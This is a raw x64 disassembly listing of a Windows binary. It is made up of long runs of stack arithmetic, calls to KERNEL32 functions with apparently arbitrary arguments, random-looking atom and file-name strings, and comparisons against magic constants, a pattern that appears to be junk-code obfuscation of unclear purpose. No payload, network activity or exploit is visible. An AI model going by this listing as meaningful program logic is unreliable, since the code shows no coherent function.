mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2fc], al
lea rax, [rsp + 0x7ff8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x7f84]
mov r8d, 0xad
lea rdx, [rsp + 0x413]
mov rcx, qword [rsp + 0x105b0]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
mov dword [rsp + 0x7ffc], eax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov qword [0x1402815a8], rax
movzx eax, word [0x1402815d0]
movzx ecx, word [rsp + 0x11a8]
sub eax, ecx
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
mov word [rsp + 0x27e8], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x48d], al
mov dword [rsp + 0x8000], 0xff05
movzx eax, word [rsp + 0x1fe8]
mov word [rsp + 0x27ec], ax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10500]
shr rax, cl
mov qword [rsp + 0xda68], rax
mov eax, dword [rsp + 0x7f54]
movzx ecx, al
mov eax, dword [rsp + 0x6a58]
shl eax, cl
mov dword [rsp + 0x7f88], eax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7ddc], eax
mov edx, 0x6864eb
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x8004], eax
mov eax, dword [rsp + 0x7f00]
mov dword [rsp + 0x8008], eax
cmp dword [rsp + 0x8008], 0
je 0x140019b0a
jmp 0x1401f17cf
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov qword [rsp + 0x10680], rax
movabs rax, 0x73463bfd1f14fd
cmp qword [rsp + 0x10680], rax
je 0x140019b4e
movabs rax, 0x7c2065da3604fc
cmp qword [rsp + 0x10680], rax
je 0x140019bfb
jmp 0x140019c7e
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x27b8]
add eax, ecx
mov word [rsp + 0x27d0], ax
movsx eax, word [rsp + 0x112c]
movsx ecx, word [rsp + 0x27dc]
and eax, ecx
mov word [rsp + 0x27ec], ax
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [rsp + 0x413]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x105e8]
movzx r8d, byte [rsp + 0x4ef]
mov rax, qword [rsp + 0x10650]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x10670]
call fcn.1401f2210
jmp 0x140019c7e
lea r8, [fcn.1401f21c0]
mov edx, 6
mov ecx, 0xc6
call qword [sym.imp.KERNEL32.dll_EnumSystemGeoID]
mov dword [rsp + 0x7f48], eax
mov eax, dword [rsp + 0x7f88]
mov ecx, dword [rsp + 0x6a58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f0], eax
mov eax, dword [0x14023c390]
mov ecx, dword [rsp + 0x7fec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fd8], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xda68], rax
lea rcx, [rsp + 0x7fc4]
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov qword [rsp + 0x10688], rax
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27b4]
add eax, ecx
mov word [rsp + 0x11a8], ax
mov rax, qword [0x14023c370]
mov qword [rsp + 0x10690], rax
cmp qword [rsp + 0x10690], 0
je 0x140019d88
movabs rax, 0x76d146ac96fa6d
cmp qword [rsp + 0x10690], rax
je 0x140019cd2
jmp 0x1401f177e
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10508]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [0x1402815d0]
xor eax, ecx
mov word [rsp + 0x27d0], ax
mov rax, qword [rsp + 0x10588]
movzx ecx, al
mov rax, qword [rsp + 0x10548]
shr rax, cl
mov qword [rsp + 0x104e8], rax
movsx eax, word [rsp + 0x27ec]
movsx ecx, word [rsp + 0x27d8]
and eax, ecx
mov rcx, qword [rsp + 0x10648]
mov word [rcx], ax
mov dword [rsp + 0x28], 0xac
mov rax, qword [rsp + 0x105c0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x23c30]
mov r8, qword [rsp + 0x105c0]
mov edx, 5
mov ecx, 0x7d
call qword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov dword [rsp + 0x6a58], eax
jmp 0x1401f177e
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov dword [rsp + 0x800c], eax
lea rcx, [rsp + 0x23c58]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, byte [rsp + 0x405]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50f], al
lea rcx, str.Ial_T2Uauv_JBzT73d_yTjZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27f0], ax
cmp dword [rsp + 0x7ff0], 0xd269
jae 0x14001a0ef
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb8]
sub eax, ecx
mov word [0x1402815c2], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x104b8], rax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ef]
sub eax, ecx
mov byte [rsp + 0x50e], al
movzx eax, byte [rsp + 0x510]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27d0], ax
mov eax, dword [rsp + 0x7fd8]
mov ecx, dword [rsp + 0x800c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f3c], eax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
mov rax, qword [rsp + 0x10588]
movzx ecx, al
mov rax, qword [rsp + 0x104a0]
shr rax, cl
mov qword [rsp + 0x105e8], rax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27dc]
shl eax, cl
mov word [rsp + 0x1fe8], ax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27d0]
xor eax, ecx
mov word [0x1402815d0], ax
movsx eax, word [rsp + 0x27d8]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1fe8], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [0x1402815c0]
and eax, ecx
mov byte [rsp + 0x510], al
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x10670]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x68f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f88], eax
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x7f10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7ef4], eax
mov edx, 0x48c57d
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x7f30], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10548]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x27b8]
sub eax, ecx
mov word [rsp + 0x27b4], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14023c039], al
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27ec]
add eax, ecx
mov word [rsp + 0x165c], ax
mov eax, dword [rsp + 0x7ff0]
add eax, 0x4a
mov dword [rsp + 0x7ff0], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x10578], rax
movsx eax, word [rsp + 0x165c]
movsx ecx, word [0x14023c378]
shl eax, cl
mov word [rsp + 0x27d4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x10630], rax
mov eax, dword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x6a58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7f3c]
shr eax, cl
mov dword [rsp + 0x7ef4], eax
jmp 0x140019dd8
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov qword [rsp + 0x10698], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x106a0], rax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27b4]
cdq
idiv ecx
mov word [rsp + 0x27cc], ax
movzx eax, byte [0x14023c039]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14023c03a], al
lea rax, [rsp + 0x104a8]
mov qword [rsp + 0x106a8], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48d]
imul eax, ecx
mov byte [rsp + 0x2fc], al
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov byte [rsp + 0x8010], al
cmp byte [rsp + 0x8010], 8
je 0x14001a216
cmp byte [rsp + 0x8010], 0x64
je 0x14001a1aa
jmp 0x14001a2f9
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x165c]
add eax, ecx
mov word [rsp + 0x1fe8], ax
movzx eax, word [0x1402815d0]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10698]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xda68], rax
mov rax, qword [rsp + 0x105d0]
movzx ecx, byte [rax]
call fcn.1401f20f0
jmp 0x14001a2f9
mov eax, dword [rsp + 0x7ef4]
mov dword [rsp + 0x8014], eax
mov eax, dword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x7fcc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
mov dword [rsp + 0x8018], 0x3990
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
add eax, ecx
mov byte [rsp + 0xd9], al
lea rax, [rsp + 0x48d]
mov qword [rsp + 0x106b0], rax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x14023c39c], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27c0]
and eax, ecx
mov word [rsp + 0x27ec], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [0x14023c380]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10578], rax
mov rax, qword [rsp + 0x104b8]
mov qword [rsp + 0x106b8], rax
mov eax, dword [rsp + 0x7fc4]
mov ecx, dword [rsp + 0x78c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f38], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov qword [rsp + 0x106c0], rax
mov eax, dword [0x14023c390]
mov ecx, dword [rsp + 0x8014]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ddc], eax
movzx eax, byte [rsp + 0x405]
mov byte [rsp + 0x801c], al
cmp byte [rsp + 0x801c], 0
je 0x14001a3b8
cmp byte [rsp + 0x801c], 0x75
je 0x14001a34c
jmp 0x14001a459
mov dword [rsp + 0x20], 0xef
mov r9d, 0xed
mov r8d, 0x2c
mov edx, 0x92
mov rcx, qword [rsp + 0x10620]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x7ffc], eax
movzx eax, byte [rsp + 0x50f]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x48d], al
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27dc]
xor eax, ecx
mov word [rsp + 0x112c], ax
jmp 0x14001a459
movzx eax, word [rsp + 0x27e8]
movzx ecx, word [rsp + 0x11b0]
shl eax, cl
mov word [0x14023c3a0], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [0x1402815a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10640], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd720], rax
movsx eax, word [rsp + 0x1eb8]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27d8], ax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov dword [rsp + 0x8020], eax
mov eax, dword [rsp + 0x7fcc]
mov ecx, dword [rsp + 0x7f38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd9]
sub eax, ecx
mov byte [rsp + 0x4ef], al
mov rax, qword [rsp + 0xda68]
mov qword [rsp + 0x106c8], rax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov qword [rsp + 0x106d0], rax
movabs rax, 0x703219c39ed256
cmp qword [rsp + 0x106d0], rax
je 0x14001a4b0
jmp 0x14001a556
mov dword [rsp + 0x28], 0x6f
mov rax, qword [rsp + 0x105e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x105e0]
lea r8, [rsp + 0x105c0]
mov edx, 0x6f
mov ecx, 0x9c
call qword [sym.imp.KERNEL32.dll_GetTimeFormatW]
mov dword [rsp + 0x8024], eax
mov rcx, qword [rsp + 0x10640]
call fcn.1401f22f0
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11a8], ax
movzx eax, byte [rsp + 0x50d]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2fc], al
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0x2fc], al
jmp 0x1401f1745
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10588], rax
mov eax, dword [rsp + 0x8020]
mov ecx, dword [rsp + 0x7ddc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x777c], eax
movzx ecx, word [rsp + 0x27c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27c4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.9gnZs8Gnv5a
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x106d8], rax
mov rax, qword [rsp + 0x106c0]
mov qword [rsp + 0x106e0], rax
cmp qword [rsp + 0x106e0], 0
je 0x14001a602
jmp 0x1401f16a7
movzx eax, byte [rsp + 0x50f]
mov byte [0x1402815a0], al
cmp dword [rsp + 0x7f58], 0x7b65
ja 0x14001a809
mov r9d, 1
xor r8d, r8d
mov edx, 0x7d30
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f08], eax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10508]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10578], rax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10578]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x27bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27f4], ax
lea rcx, [rsp + 0x26ff0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x7f28], eax
movsx eax, word [rsp + 0x112c]
movsx ecx, word [rsp + 0x27ec]
add eax, ecx
mov word [rsp + 0x27d4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f94], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd9]
sub eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x105e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10548], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x276d
mov r9d, 0x3531
mov r8d, 0xd564865
mov edx, 2
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x7fa0], eax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ddc], eax
mov eax, dword [rsp + 0x78c0]
mov dword [rsp + 0x8024], eax
mov eax, dword [rsp + 0x7f58]
add eax, 0x42
mov dword [rsp + 0x7f58], eax
movzx eax, word [0x14023c39c]
movzx ecx, word [rsp + 0x27cc]
sub eax, ecx
mov word [0x1402815d0], ax
movzx ecx, word [rsp + 0x27c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27f8], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50d]
and eax, ecx
mov byte [rsp + 0x510], al
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f2c], eax
jmp 0x14001a610
lea rax, [rsp + 0x27c0]
mov qword [rsp + 0x106e8], rax
movzx eax, word [0x14023c39c]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x11b0], ax
movzx eax, byte [rsp + 0x48d]
mov byte [rsp + 0x511], al
mov eax, dword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x7f38]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7fec]
shl eax, cl
mov dword [rsp + 0x8020], eax
mov dword [rsp + 0x8028], 0xec0d
cmp dword [rsp + 0x7f8c], 0x718a
ja 0x14001ac52
mov rax, qword [rsp + 0x104a0]
movzx ecx, al
mov rax, qword [rsp + 0x10698]
shr rax, cl
mov qword [rsp + 0x10548], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0xd720]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10508], rax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14023c039], al
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27d8], ax
movzx eax, word [rsp + 0x27b4]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8020]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10508]
mov rcx, qword [0x14023c380]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10670], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f90], eax
mov rax, qword [rsp + 0x104a0]
mov rcx, qword [rsp + 0x104e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x105e8], rax
mov eax, dword [rsp + 0x7f38]
mov ecx, dword [rsp + 0x8024]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov eax, dword [rsp + 0x7f3c]
mov ecx, dword [rsp + 0x8020]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27c0], ax
movzx eax, word [rsp + 0x27b4]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402815d0], ax
lea rcx, [rsp + 0x23c58]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50d]
sar eax, cl
mov rcx, qword [rsp + 0x104f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x104f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f10]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6a58]
mov ecx, dword [rsp + 0x7f88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c0], eax
mov rax, qword [rsp + 0x104a0]
mov rcx, qword [0x14023c370]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x106c8], rax
movzx eax, word [rsp + 0x27cc]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27d0], ax
lea rdx, [rsp + 0x250c8]
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7fe0], eax
movzx eax, word [rsp + 0x27b8]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402815b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10640]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x104b8], rax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ef]
sub eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50f]
add eax, ecx
mov byte [rsp + 0x511], al
movzx eax, word [rsp + 0x11b0]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27d0], ax
mov eax, dword [rsp + 0x7f8c]
add eax, 0x95
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x106f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x106f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x104a0], rax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fec]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x7fd8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1fe8], ax
jmp 0x14001a885
lea rax, [rsp + 0x11a8]
mov qword [0x140281598], rax
mov rax, qword [rsp + 0x10648]
movzx eax, word [rax]
mov word [rsp + 0x27fc], ax
movzx eax, byte [rsp + 0x48d]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x510], al
cmp dword [rsp + 0x7f14], 0x2331
jae 0x14001b0b5
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x106b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x106b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7fcc]
mov ecx, dword [rsp + 0x7f38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xee8
mov r9d, 0x3b13
mov r8d, 0xe0d8e14c
mov edx, 2
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x802c], eax
mov rax, qword [rsp + 0x10608]
mov rcx, qword [rsp + 0x10650]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
mov rax, qword [0x14023c370]
mov rcx, qword [rsp + 0x10698]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x105e8], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27d0]
and eax, ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27ec]
add eax, ecx
mov word [0x1402815c2], ax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd9]
add eax, ecx
mov byte [rsp + 0x413], al
movzx eax, byte [rsp + 0x48d]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50d], al
lea rdx, [rsp + 0x104d0]
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7f24], eax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10670]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10578], rax
movzx eax, byte [rsp + 0x50f]
movzx ecx, byte [rsp + 0x2fc]
sar eax, cl
mov byte [rsp + 0x510], al
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x777c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x27c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27c8], ax
mov eax, dword [rsp + 0x8024]
mov ecx, dword [rsp + 0x7f38]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f1c], eax
mov rax, qword [rsp + 0xda68]
